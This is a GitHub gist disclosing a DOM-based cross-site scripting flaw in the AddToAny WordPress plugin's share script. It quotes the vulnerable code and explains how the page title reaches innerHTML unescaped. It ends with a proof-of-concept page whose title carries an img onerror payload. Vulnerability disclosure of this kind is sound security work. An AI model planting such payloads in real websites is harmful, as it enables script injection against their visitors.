Skip to content

Instantly share code, notes, and snippets.

@cneill
Last active January 29, 2023 21:33
Show Gist options
  • Save cneill/bc679098bf6c1a31eb20 to your computer and use it in GitHub Desktop.
Save cneill/bc679098bf6c1a31eb20 to your computer and use it in GitHub Desktop.
DOM-based XSS in AddToAny

AddToAny WordPress plugin DOM-based XSS

Vulnerable script location : https://static.addtoany.com/menu/page.js

Archived source : https://gist.github.com/cneill/f701c7ccc2a4bb85a6b1

Archive.org snapshot : https://web.archive.org/web/20151017052627/http://static.addtoany.com/menu/page.js

Comparison of script versions :

curl -s https://gist.githubusercontent.com/cneill/f701c7ccc2a4bb85a6b1/raw/ec7683d52eaf28eec6e55fb7efda056b08d5562a/page.js > real-page
curl -s https://web.archive.org/web/20151017052627/http://static.addtoany.com/menu/page.js > archived-page
cat archived-page | tr -d '\n' | sed 's#/\*.*\*/##' | sed 's#/web/20151017052627/##g' > temp && perl -pe 'chomp if eof' temp > archived-page-normalized
diff -q archived-page-normalized real-page
rm temp real-page archived-page archived-page-normalized

Expanded script source (JSNice'd) : https://gist.github.com/cneill/6ecf9fee470eee16f38c

Description :

The 'linkname' attribute of the 'config' parameter is populated from document.title. document.title, even when containing escaped HTML, will return unescaped HTML. The 'linkname' attribute is then passed into the 'main' element's innerHTML without any additional escaping, which opens the possibility for XSS.

Vulnerable Code (expanded) :

Line 179 - 224:

var init = function(config, e) {
 ...
 var main = document.createElement("div");
 ...
 var name = a2a.getData(item)["a2a-title"];
 ...
 config.linkname = e.linkname = name || config.linkname;
 config.linkurl = e.linkurl = opt_button || config.linkurl;
 ...
 main.innerHTML = config.linkname;
 ...
};

Line 264-297

self.linkname = a2a[self.type].last_linkname = options.linkname || (a2a[self.type].last_linkname || (document.title || location.href));
self.linkurl = a2a[self.type].last_linkurl = options.linkurl || (a2a[self.type].last_linkurl || location.href);
self.linkname_escape = options.linkname_escape;
...
if (a2a.locale && !dataAndEvents) {
 a2a.fn_queue.push(function(self, data) {
  return function() {
   init(self, data);
  };
 }(self, d));
} else {
 init(self, d);
 ...
}

Proof-of-concept HTML :

<!DOCTYPE html>
<html>
<head>
<title>You searched for &quot;&gt;&lt;img src=x onerror=alert(1)&gt;</title>
</head>
<body>
<script>
    y = document.createElement('a');
    y.innerHTML = ( document.title || location.href );
</script>
</body>
</html>
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment